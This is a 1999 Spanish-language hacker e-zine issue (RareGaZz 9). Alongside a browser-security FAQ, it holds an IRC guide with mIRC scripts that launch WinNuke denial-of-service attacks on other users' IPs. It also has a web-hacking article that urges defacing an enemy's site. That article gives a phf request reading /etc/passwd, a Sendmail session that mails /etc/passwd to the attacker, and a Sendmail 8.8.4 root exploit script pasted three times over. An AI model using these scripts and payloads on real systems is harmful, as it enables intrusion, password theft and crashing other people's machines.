RareGaZz nº9:(RARE009.TXT):12/12/1999 << Back To RareGaZz nº 9
-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\-/-|-\ <<::RareGaZz::>> -\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/-\-|-/ ooooooo oo ooooooo oooooo ooooo oo oooooo oooooo $$""$$" o$"$$ $$""$$" $$ o$$""o, o$"$$ """$$ """$$ $$o$$" $$ $$ $$o$$" $$$$$$ $$ $$ $$ $$ $$ $$ $$$$$ $$ $$ $$$$$ $$"""" "$o $$ $$ $$ $$" $$" $$" $$ $$$$$$$ $$" $$ $$ "$o $$ $$$$$$$ o$" o$" $$ "$$ $$ $$ $$ "$$ $$ooooo "$o$$ $$ $$ o$$oooo o$$oooo "" """ "" "" "" """ """"""" "" "" "" """"""" """"""" @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% "¿Quis Custodiet Custodes?" ¡¡ Cuidado - raregazz esta cargada !! pues asi ha pasado de la nada un largo tiempo despues de rare #8. Sintiose como si nada fuerase. pero recordose que mejorandose podria ser mejor...y lo fue. d.c.//intro: swoish// Muchas noticias nuevas les tenemos despues de esta pequeña `ausencia' de internet. La verdad es que hemos estado mas activos que nunca preparando una serie de sorpresas para los lectores y realizando mejoras a nuestra organizacion para ofrecer un servicio de calidad under. En este numero estamos seguros que obtendran lo que numero tras numero han esperado de este magazine. Hacking/Cracking/Phreaking/Anarchy/Virii/Warez. Todo esto y mas pueden leerlo y utilizarlo -pues se incluyen utilidades y tips- simplemente empezando a leer y disfrutar de este su zine! ┌─Contenidos:──────────────────────────────────────────┬┐ │ ││ │ * INTRODUCCION EXTRAORDINAIRE ││ │ * MANUAL DE SEGURIDAD. ││ │ * IRC X-) ││ │ * HACKEANDO WEB'S ││ │ * ESTUDIAR O TRABAJAR Y PERMANECER DESPIERTO ││ │ * CRACKER APPLETS JACK ││ │ * INGENIERIA SOCIAL ││ │ * HACKING NOVELL NETWARE ││ │ * ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA ││ │ * J.J.F. / HACKERS TEAM ││ │ * COMO MEXICO NO HAY DOS! ││ │ * TERMINOS USADOS EN EL HACKING WORLD ││ │ * EL PRESUMIDO ││ │ * KEVIN MITNICK: Recluso numero 89950-012 ││ │ * MANUAL PARA EL OCIO. ││ │ * EL NUEVO ROBO ││ │ * NOTIL00NS ││ │ * B00/\/\3R4nG ││ │ * SECCION UUENCODE -philez- ││ │ * RareGaZz a finales del año 1997 ││ │ ││ └┬─────────────────────────────────────────────────────┘│ └──────────────────────────────────────────────────────┘ -| Flos Juventutis |- "VINO UN IDIOTA Y ME DIJO QUE YO ERA UN GENIO, Y UN GENIO ME DIJO QUE YO ERA UN IDIOTA. VINO TAM- BIEN OTRO IDIOTA Y ME DIJO QUE YO ERA UN IDIOTA, Y OTRO GENIO ME DIJO QUE YO ERA UN GENIO...Y YO, INMUTABLE". INTRODUCCION EXTRAORDINAIRE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MagaZine electronico protegido por el derecho a la libre expresion (y la anonimidad) creado sin fines de lucro. De hecho creado sin fin alguno. La informacion contenida en este numero puede servir para ocasionar daño a un sistema, organismo o raza humana y debera ser tratada con responsabilidad y sin excesos. sexo. Menores de edad leyendo este zine necesitaran la autorizacion de sus padres para hacer fraude electronico o delito informatico de lo contrario RareGaZz asume total responsabilidad de los actos de estos pequeñines...siempre y cuando no sean delitos y generen divisas -de preferencia extranjeras-. Para contactar al consejo editorial de este zine favor de abusar de la direccion RAREGAZZ@BIGFOOT.COM en caso de querer enviar un archivo por "attachment" solicitar instrucciones. RareGaZz por ser una publicacion de acceso mundial responde a las leyes informaticas de la INTERPOL -policia mundial- y se apega a derecho. Si alguien conoce las leyes informaticas de la agencia antes mencionada o tiene idea alguna del significado de la palabra "derecho" favor de asesorarnos. Pues bien aqui estamos de nuevo e igual de viejos que la ultima vez. Esta vez nos tardamos bastante (mas que nunca); en verdad compadezco a todos ustedes viviendo en ciudades grandes con grotescos niveles de contaminacion y una vida urbana acelerada mientras juegan la carrera de las ratas en su jungla de asfalto mientras que nosotros por 'aca... a un lado de una de las mejores y escondidas playas de mexico disfrutando de la calma que solo una pequeña ciudad puede ofrecer...no los culpo por desesperarse. Un HACK merece mencion en este numero, fue el realizado a la pagina del ITESM Campus Saltillo por azumlord -el hack esta disponible en la pagina de raregazz seccion software- que destaca por su originalidad y bellas chicas :) La pagina ahora esta arreglada. http://www.sal.itesm.mx El proyecto HACKERZ empieza a dar resultados en algunos paises entre los que destacan: Puebla, Ensenada y Monterrey Mexico. Argentina (algunas localidades), Colombia y Chile. Todavia estan invitados a mandar sus datos para continuar con este proyecto. Mas info en RareGaZz 8 y 7. Unas calcamonias -o pedazos de hule con un lado pegajoso- del zine ya estan disponibles GRATIS a cualquier persona que viva o vegete en alguno de estos paises: Argentina, Mexico y/o Colombia. Para recibirlas envia un e-mail con una direccion postal valida a la direccion de la revista. Son gratis y hasta que se acaben. Para el proximo numero mas paises seran incluidos si se cuenta con suficiente presupuesto, unicamente dos (2) seran enviadas por direccion postal. La excepcion a la regla: "Los integrantes del proyecto HACKERZ recibiran las calcamonias sin importar en que pais se encuentren." Bueno y para q'? pues para demostrar que este movimiento esta presente fuera de las barreras electronicas. Me despido y regreso al UnderGround...ya saben donde encontrarme. " Las maravillas con las que nos deleitan los escritores de raregazz nunca pasaran de ser inscripciones trazadas por las manos de ilusos..." -Publicacion electronica mexicana. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% <<::RareGaZz::>> Manual de Seguridad en Internet 1/2 por ServerHacker Pregunta: ¿Como desactivo el mensaje ""You are submitting the contents of a form insecurely" en Netscape? ¿Debo preocuparme? Este mensaje indica que los contenidos de una forma que estas enviando a un script CGI no estan encriptados y pueden ser interceptados. En este momento recibiras este mensaje cuando envies un form a cualquier servidor que no sea Netscape ya que unicamente Netsite Commerce Server puede manejar forms encriptadas. No deberias mandar informacion confidencial a traves de estas forms como numeros de tarjeta. En el caso de que seas de las personas que dicen los datos de su tarjeta via celular...pues hazlo! Para apagar esta advertencia, elige Preferences del menu Options de Netscape, escoge "Images and Security" y desmarca la caja con el nombre "Warn before submitting forms insecurely." Pregunta: ¿Que tan segura es la encripcion usada por SSL? SSL usa encripcion basada en llaves publicas que requiere un intercambio de llaves entre el cliente y el servidor; esta llave es usada para encriptar la transaccion http (solicitud y respuesta). Cada transaccion usa una llave diferente asi que si alguien se las arregla para decriptar una transaccion, no significa que ha encontrado la llave secreta del servidor; si quisiera decriptar otra transaccion, necesitaria gastar el mismo tiempo y esfuerzo en la segunda como lo hicieron para decriptar la primera. Los servidores Netscape y navegadores usan encripcion usando una llave secreta de 40-Bits. Mucha gente piensa que usar encripcion de 40-Bits es inseguro ya que es vulnerable a un ataque de "fuerza bruta" (intentando las 2^40 llaves posibles hasta encontrar la que decripte el mensaje). Esto fue demostrado en 1995 por un investigador frances que usando varias estaciones de trabajo logro decriptar un mensaje encriptado de 40-Bits en una semana. Hardware especializado podria crackear este tipo de encripcion en minutos u horas. Usar una llave de encripcion de 128-Bits elimina este problema pues ahora hay 2^128 posibilidades de encontrar la llave lo que hace casi imposible crackear ya que tomaria aproximadamente la edad del universo en crackear usando tecnologia convencional. Desafortunadamente la mayoria de los usuarios de Netscape tienen navegadores que unicamente usando la encripcion de 40-Bits debido a las restricciones de exportacion de los Estados Unidos Americanos. En Netscape puedes saber que tipo de encripcion se esta usando para un documento en particular viendo la pantalla "document information" accesible desde el menu "view". La pequeña llave en la parte inferior izquierda tambien indica que tipo de encripcion esta siendo usada. Una llave solida con dos dientes indica encripcion de 128 Bits, una llave solida con un solo diente indica encripcion de 40-Bits y una llave rota indica no encripcion. A veces tu navegador puede soportar encripcion de 128-Bits y usar de 40 si el servidor esta fuera de los Estados Unidos Americanos y Canada. Pregunta: Ni navegador Netscape esta mostrando una forma para ordenar mercancia de una tienda que yo confio. La pequeña llave en la parte inferior izquierda esta solida y tiene dos dientes. ¿Esto significa que puedo mandar mi numero de tarjeta a salvo, verdad? No. Una llave solida con dos dientes indica que se esta usando encripcion SSL de 128-Bits y que el host remoto tiene un certificado de validez que Netscape reconoce. Hasta este punto, tu no sabes a quien pertenece este certificado. Es posible que alguien haya comprado o robado un certificado de un servidor y despues haya ruteado el trafico de la red destinado a la tienda simplemente ruteando el trafico en algun lugar entre tu y la tienda. La unica forma de saber si estas `hablando' directamente con la compañia con la que quieres comerciar es abriendo la ventana "Document Information" (del menu view) y examinar el certificado del servidor. Si el host y nombre que aparecen ahi coinciden con la compañia que esperas, entonces podras hacer cualquier transaccion con seguridad. Pregunta: ¿Que tan privadas son mis peticiones para ver documentos Web? Todas las peticiones de documentos via Web son guardadas en archivos llamados logs o registros. Aunque tu nombre no es usualmente registrado, tu direccion IP y el nombre del host desde donde accesas si es guardado. Ademas, algunos servidores registran la URL desde donde estas accesando. El record de estos registros sera usado para realizar estadisticas unicamente. Un claro ejemplo de esto es la siguiente pagina: http://www.l0pht.com/ref.html En esta pagina puedes encontrar todas las direcciones que incluyen un link a la pagina www.l0pht.com Si tienes una pagina y alguien desde ahi ha entrado a www.l0pht.com no dudes en encontrar ahi la direccion de tu pagina. Obviamente ahi encontraras la pagina de links de raregazz (las dos), y muchas otras. Pregunta: ¿Cual es la diferencia entre Java y Javascript? A pesar de las similitudes, Java y Javascript son dos entidades separadas. Java es un lenguaje diseñado por Sun Microsystems. Los Java scripts estan precompilados en una forma compacta y guardados del lado del servidor. Los documentos HTML se refieren a las mini-aplicaciones como Java "applets" por incorporar las etiquetas <APPLET>. Los browsers que soportan Java bajan el codigo del servidor y lo ejecutan. Para saber si tu navegador soporta java en Netscape escoge del menu "options" la opcion "Network preferences". Despues haz un click en la ceja "Languajes". Deberan estar marcadas las opciones "Enable Java" y "Enable Javascript". El codigo JavaScript es una extension del lenguaje HTML diseñada por la Corporacion Netscape y entendido por los navegadores superiores al 2.0 y superiores versiones a la 3.0 de Internet Explorer. Es un lenguaje diseñado para controlar el navegador; tiene la abilidad de abrir y cerrar ventanas, manipular elementos de formas, ajustar settings del navegador, y bajar y ejecutar applets java. Pregunta: Existen errores de seguridad conocidos en Java? Los Javascripts, debido a que se executan en el lado del navegador en vez del servidor, mueven el riesgo de la seguridad del servidor al cliente. ¿Hay algo que deba temer el cliente? Varias medidas de seguridad estan dentro del lenguaje Java para prevenir riesgos de seguridad en la computadora del usuario remoto. Cuando se ejecutan como applets, los scripts Java estan restringidos por el "security manager" para definir lo que pueden hacer. El security manager no permite que los applets executen comandos arbitrarios del sistema o que abran algun dispositivo del sistema como los drives de los diskettes. Asi pues, los scripts estan limitados a unicamente leer y escribir archivos en un directorio designado de la computadora cliente (la tuya). El navegador HotJava te permite especificar este directorio mientras que Netscape no permite este tipo de manipulacion. Los applets estan limitados a una sola conexion de donde fueron `bajados' y compilados. La razon se discute adelante. Finalmente, un administrador de seguridad permite a los applets Java leer y escribir a la red, leer y escribir a un disco local pero no a los dos al mismo tiempo. Esta limitacion se hizo para evitar que un applet espiara en los archivos de tu disco duro mientras los manda al servidor. Mas sobre este interesante tema...cuando haya terminado mi cena... :) ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ ▐█ ▐█▀▀█ ▐█▀▀▀ GuyBrush ▐█ ▐█▄▄█ ▐█ Blacklash ▐█ ▐█ █▄ ▐█▄▄▄ <<::RareGaZz::>> φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ φ -Vocabulario -NetSplit -Ordenes basicas -Como nukear y como protegerse -Nukez Vocabulario ^^^^^^^^^^^ * nick -> Alias o apodo de un usuario en el IRC. * ban -> Mediante esta accion se impide la entrada de un usuario a un canal. Solo pueden banear (y levantar los bans) aquellos que son op (nota: op es el que tiene una '@' al lado de su nombre. Tiene el control absoluto del canal). * massban -> Banear a todos los usuarios de un canal. * kick -> Para expulsar a alguien de un canal. Solo pueden kickear los ops. * masskick -> kickear a todos los usuarios de un canal. * massop -> Dar op a todos los usuarios de un canal. El que da los op debe ser op, naturalmente. * massdeop -> Quitar el op a todos los usuarios de un canal. Has de ser op. * kline -> Impide la entrada de un usuario (identificandolo por su IP) en el servidor. Si tienes numero IP fijo ... te han jodido bien. Si cada vez que te conectas tienes un IP distinto, solo puedes desconectar- te y volverte a conectar (volver a realizar la llamada para que se te asigne otra IP). * nuke -> Ataque a un usuario para provocar su expulsion de la red. * script -> Complemento para el cliente de IRC que incluye nuevos menus, co- mandos, opciones, ... * netsplit -> Ocurre cuando un determinado servidor, por cualquier circunstan- cia, se separa del resto de la red. * netjoin -> Tras el netsplit viene esta accion. El servidor separado se une de nuevo a la red. * bot -> Programa empleado normalmente para mantener un canal (nota: ¿has es- tado alguna vez de arrakis? pues 'scytale' es un bot). Puede realizar tareas programadas, como por ejemplo dar op a gente que ha registra- do un canal, mostrar mensajes de bienvenida, expulsar a algun indese- ado, ... pero logicamente, no puede mantener conversaciones. * clon -> Como la misma palabra dice, un clon es una copia de un usuario pero con un nick distinto. Se pueden llegar a cambiar todos los datos del clon excepto el IP. La forma de crear clones es abrir didtintas se- siones de IRC o bien, usar script (luego explicare que es esto). Pe- ro ten cuidado, porque algunos bots te kickearan del canal en el que introduzcas clones, o a lo peor te mandaran un kline. * flood -> Se produce un flood cuando se sobrecarga el servidor de informacion por lo que te desconectara por 'excess flood'. * lag -> Retardo que sufre la informacion debido a la saturacion que sufre el servidor. Podemos ver la cantidad de lag de un usuario enviandolo un ping. * caerse -> Este termino se emplea cuando alguien se desconecta del servidor de forma involuntaria. Bueno, estos son los comandos basicos que debes saber. Espero que los hayais entendido todos ... son muy basicos :) NetSplit ^^^^^^^^ De todos modos hay uno que quiero resaltar ya que puede que sea el que menos gente conoce. ¿Para que sirve el 'netsplit'? Bien, esto puede ser de gran ayu- da. Gracias a este comando podemos entrar en canales a los que no tenemos ac- ceso (bien porque no estamos invitados, o porque se necesita passwd, ...) y ademas, siendo ops. ¿Como? pues hacemos un netsplit a algun servidor que este conectado a la misma red del que estamos ahora mismo. Hay muchos (pero ahora mismo no recuerdo ninguno). Si te das cuenta, cada vez que te conectas, en la barra del status te pone el nombre del servidor. Puedes usar cualquiera de los que te salen. Bueno, ¿que ocurre cuando hacemos el netsplit? que aparentemente estamos en un servidor 'vacio'. Es como si no hubiera nadie (solo la gente que esta haciendo lo mismo que nosotros :) ). Ahora podemos entrar en el canal que queramos y ser ops. Despues solo tenemos que esperar unos minutos a que vuelva a 'unirse' a la red y ¡ya estaremos dentro! y como ops. A veces es mejor que nos quitemos el op para no llamar la atencion. Puede que estes esperando varios minutos y ¡¡¡nada, que no entra!!!. Pues sera mejor que lo dejes, porque a veces los bots no te dejan hacer el netjoin :( Ordenes basicas ^^^^^^^^^^^^^^^ /help -> Ayuda. /list -> Muestra en una ventana todos los canales abiertos, con el numero de usuarios conectados y el topico. /join #canal -> Entrar en un canal. /part #canal -> salir de un canal. /quit -> Salir del cliente de IRC y desconectarse del servidor. /nick nuevo_nick -> Cambiar de nick. /whois usuario -> Para ver informacion sobre un usuario. Donde <usuario> es su nick. /usho usuario -> Igual que el anterior pero muestra mas informacion. /me -> Muestra un mensaje como si fuera una accion realizada por uno mismo. /msg usuario msg -> Envia un mensaje privado a un usuario. /query usuario -> Inicia una conversacion privada con un usuario. /notify usuario -> Para recibir notificacion cuando el usuario entre en el IRC. /who *cadena* -> Lista los usuarios que entre sus datos contienen la cadena especificada. /names #canal -> Muestra la lista de usuarios que estan dentro de ese canal. /ping usuario -> Efectua un ping a un usuario viendo el tiempo que tarda en devolver el ping, para medir el lag que tenemos. /ignore usuario -> Para no ver los mensajes que escribe ese usuario. Por si alguien se pone muy pesado ... /ignore off -> Para volver a leer los mensajes de todos. /invite usuario #canal -> Invitar a un usuario a un canal. /topic #canal nuevo_topico -> Cambiar el topico de un canal. /mode #canal nuevo_modo -> Cambiar los modos de un canal. Para activarlos se utiliza + y para desactivarlos - (por ejemplo: /mode #hackers +t) Los modos sobre el canal mas comunes son: t: Solo los ops pueden cambiar el topico. i: Canal de invitados unicamente. l numero: Numero maximo de usuarios. m: Solo pueden hablar los ops. p: Canal privado. s: Canal secreto. k llave: Canal con contraseña para entrar. n: No permite mensajes externos en el canal. Los modos sobre los usuarios mas comunes son: /mode #canal nuevo_modo usuario -> Cambiar los modos de un usuario. i: Te hace invisible y solo podran hablar contigo los que conozcan tu nick. s: recibe noticias del servidor. Para hacer op a un usuario -> /mode #canal +o usuario Para hacer op a varios usuarios -> /mode #canal +ooo usu1 usu2 usu3 Para hacer deop a un usuario -> /mode #canal -o usuario Para hacer deop a varios usuarios -> /mode #canal -ooo usu1 usu2 usu3 Para banear a alguien -> /mode #canal +b usuario Para quitarle el ban a alguien -> /mode #canal -b usuario Como nukear y como protegerse ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Existen varias formas de nukear. Una es usando clonos y luego floodeando a al- gun usuario o a algun canal. Como vimos anteriormente, un usuario puede desco- nectarse del servidor si tiene una sobre carga de informacion (causandole un 'excess flood'). Imagina lo que tardaria en 'caerse' si le envias 500 pings segidos ... ¿y si creas 4 o 5 clones y cada uno de ellos el enviar 500 pings? Hay muchos scripts con los que puedes crear clones y hacer diversos ataques. En caso de no saber programar un script para nukear a alguien puedes usar alguno de los siguientes programas bastante buenos: azezino, kokaine, 7º sphere, aunque cada dia hay mas gente que sabe programarlos. Pero con los scripts solo conseguimos echar a alguien del servidor y que en pocos minutos vuelva a estar dentro. Pero tambien hay otras formas de ataque que 'cuelgan' el ordenador de la victima por completo. ¡Alucinante!. Hay dos tipos de ataques. Uno es el OOB (Out of Band): cuando Windows instala el protocolo TCP/IP añade automaticamente el NetBios el cual activa el puerto 139 (necesario para las peticiones de NetBios). Pero como Bill Gates es muy bueno con los hackers, siempre deja uno o dos bugs en cada uno de sus progra- mas :D para que nos distraigamos. Bien, pues si enviamos un paquete de datos a un usuario que tenga abierto este puerto (el 139) causara un error grave de forma que le aparecera por pantalla, en el famoso color azul de fondo con letras blancas: Ocurrio una excepcion OE at 0028 de VxD MSCTP(01)+000041AE Fue llamado desde 0028 de VxD NDIS+00000D7C Y el ordenador se colgara por completo. Aparentemente todo sigue igual, pero en realidad el ordenador no podra recibir ninguna conexion hasta que se reini- cialice. Nota: el ataque solo funciona si la victima usa Windows 3.11, 95 o NT y tiene activo el NetBios, P: ¿Donde puedo conseguir un maravilloso programa que haga esto? R: En nuestra pagina de RareGaZz P: ¿Como puedo protegerme para que no me nukeen a mi? R: La mejor proteccion es NO usar Windows. Pero si quieres usarlo, puedes re- nombrar el fichero 'windows\system\vnbt.386' como 'windows\system\vnbt.bak' Hay otra forma de nukear ademas del OOB; es el ICMP que esta basado en un nue- vo error del TCP/IP de Windows (¡¡¡como no!!!). Cuando Windows recibe un pa- quete de datos altamente fragmentados y los coloca en orden, se produce el bloqueo del sistema. Nukez ^^^^^ En esta seccion vamos a incluir al MIRC 5.x una opcion de nuke, para que puedas echar a la gente, usando el programa winnuke 4. Aqui va : En remote debes poner lo siguiente : #nuke off raw 311:*: set %nukeip $parm4 | halt raw 312:*: set %nukeserver $parm3 | halt raw 301:*: halt raw 313:*: halt raw 319:*: halt raw 317:*: halt raw 318:*: run $mircdirutil\wnuke4.exe -n %nukeserver %nukeip 0 1024-2500 %nukeport | .disable #nuke | echo 3 -a Nukeando a %nukeip en %nukeserver por el puerto %nukeport | halt #nuke end #icmp off raw 311:*: set %icmpip $parm4 | halt raw 301:*: halt raw 313:*: halt raw 319:*: halt raw 317:*: halt raw 318:*: run $mircdirutil\wnuke4.exe -c %icmpip 30000 0 3 | .disable #icmp | echo 3 -a ICMP Echo mandado a %icmpip con 30.000 Paquetes | halt #icmp end en el alias crea : nuke { .enable #nuke | whois $$1 } icmp { .enable #icmp | whois $$1 } y en los popups : del nicknamen, chat y query : Nuker .ICMP Echo: /icmp $$1 .Nuke:/set %nukeport $$?="Puerto?" | /nuke $$1 en el status, channel y menubar : Nuker .ICMP Echo:/run $mircdirutil\wnuke4.exe -c $$?="IP del usuario?" 30000 0 3 | echo 3 -a ICMP Echo mandado a $! con 30.000 Paquetes .Nuke IP:/run $mircdirutil\wnuke4.exe -n $$?="IRC Server del usuario" $$?="IP Address del usuario" 0 1024-2024 $$?="Puerto (ej.: 6667)" .Nuke Nick:/set %nukeport $$?="Puerto?" | /nuke $$?="A quien Nukeo?" ahora solo falta copiar el wnuke4.exe al directorio util de donde esta el mirc ej: c:\mirc\util El WinNuke viene incluido al final de la revista en la seccion UUENCODE. Este nuker fue sacado del Kokaine 3.0 para mirc 4.72 pero modificado para el 5.x ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% ╔════════════════════╦══════════════════════════════════════════════════════╗ ║ ║ +++ Azum Lord +++ ║ ║ HACKEANDO WEB'S ║ ║ ║ ║ http://members.tripod.com/~jleg/logos/wlm.html ║ ║ ║ AzumLord@bigfoot.com ║ ║ ║ ║ ╚════════════════════╩══════════════════════════════════════════════════════╝ CONTENIDOS 1.- Disclaimer 2.- Introduccion 3.- Comenzando el ataque 4.- Obtencion del fichero de Passwd 5.- Usando Exploits 6.- Y recuerda.... @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% DISCLAIMER @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% El contenido de este texto esta solamente destinado a usos educacionales, de investigacion y de desarrollo. En ningun momento el creador de este texto se hace responsable de los daños causados debido a un mal uso de el mismo. @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% INTRODUCCION @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% Si alguna vez se te ha ocurrido que seria divertido cambiar algunas cuantas cosillas de alguna web o de adueñarte de alguna, este texto es para ti. Si tu enemigo tiene una web y quieres acabar con ella este texto es para ti. O si simplemente quieres conocer las posibilidades del hacking este texto es para ti. @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% COMENZANDO EL ATAQUE @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% Lo primero que hay hacer es localizar al servidor victima... (e.j.) http://www.victima.com <----------- Victima Despues recopila la mayor cantidad de informacion sobre el servidor victima por ejemplo su IP, DNS, version de Sendmail, etc. La mayoria de las veces el servidor que contiene la web-page del site solo tiene unos cuantos logins como el del root y el de algunos cuantos administradores pero para saber cuales y cuantos usuarios, necesitas el fichero de passwd. @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% OBTENCION DEL FICHERO DE PASSWD @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% Hay varias formas de entrar, una de ellas seria obteniendo el archivo de passwd pero como? bueno he aqui algunas formas. Nota para Newbies: Si entras al servidor por ftp con el usuario anonymous y te vas al directorio /etc y te encuentras el fichero passwd no te emociones este fichero solo es basura el fichero correcto esta en: /home/ftp/etc/passwd <--------- Basura que encuentras si entras por anonymous /etc/passwd <------------------ Fichero correcto de passwd. Hay muchas formas de obtener el fichero de passwd como por ejemplo con el phf: http://www.elsitevictima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd ( 1 )( 2 )( 3 )( 4 )(5)( 6 ) 1.- El site que quieras atacar. 2.- El comando phf. 3.- Aqui es donde esta el secreto. 4.- El programa que quieres que se ejecute. 5.- El %20 es un espacio. 6.- Y pues aqui va el archivo o directorio que quieres ver. O tambien con exploits, este es para obtener el fichero de passwd de servidores con Sendmail con versiones anteriores a la 5.57 % telnet victima.com 25 Trying 255.255.255.0... Connected to victima.com Escape character is '^]'. 220 victima.com Sendmail 5.55 ready at Sunday, 12 Sept 97 12:09 mail from: "|/bin/mail tudireccion@decorreo.com < /etc/passwd 250 "|/bin/mail tudireccion@decorreo.com < /etc/passwd"... Sender ok rcpt to: Aqui_pon_lo_que_se_te_antoje. 550 Aqui_pon_lo_que_se_te_antoje.... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. % Despues crackeas el fichero de passwd con cualquier crackeador como el Jack the Ripper o el que acostumbres usar y si sacas alguna de las cuentas telnetea: %telnet %o (to)www.victima.com Trying 255.255.255.0 .... Escape character is '^]'. Linux 2.0.0 (www.victima.com) (tty2) login:XXXXXXXX passwd:XXXXXXXX @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% USANDO EXPLOITS @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% La forma mas sencilla de hackear una web-page es usando exploits he aqui uno que te hara root en Sendmail 8.8.4. --------------------------------- CORTA AQUI --------------------------------- cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include<stdio.h> main() { execl(RUN,RUN,NULL); } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include<stdio.h> main() { execl(RUN,RUN,NULL); } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ > # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include<stdio.h> main() { execl(RUN,RUN,NULL); } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi --------------------------------- CORTA AQUI --------------------------------- Hay infinidad de exploits como este en la red si deseas links a paginas que continen cientos revisa la seccion de links de la revista Raregazz. @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% Y RECUERDA ... 